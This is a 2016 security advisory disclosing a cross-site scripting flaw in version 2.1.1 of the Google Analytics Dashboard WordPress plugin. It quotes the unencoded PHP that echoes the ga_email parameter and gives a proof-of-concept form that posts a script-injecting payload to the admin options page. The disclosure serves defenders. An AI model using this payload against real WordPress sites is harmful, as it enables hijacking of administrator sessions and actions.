Yorick Koster, July 2016

Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0026

Tested versions

This issue was successfully tested on Google Analytics Dashboard WordPress Plugin version 2.1.1.

Fix

There is currently no fix available.

Introduction

The Google Analytics Dashboard WordPress Plugin gives access to your Google Analytics data directly inside your WordPress blog. A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details

This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter.

<tr valign="top">
   <th scope="row">
      <label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th>
   <td>
      <input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" />
   </td>
</tr>

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST">
         <input type="hidden" name="gad&#95;login&#95;type" value="client" />
         <input type="hidden" name="ga&#95;email" value="&quot;><script>alert(1);</script>" />
         <input type="hidden" name="ga&#95;pass" value="password" />
         <input type="hidden" name="ga&#95;save&#95;pass" value="ga&#95;save&#95;pass" />
         <input type="hidden" name="SubmitLogin" value="Login&#32;?&#187;" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>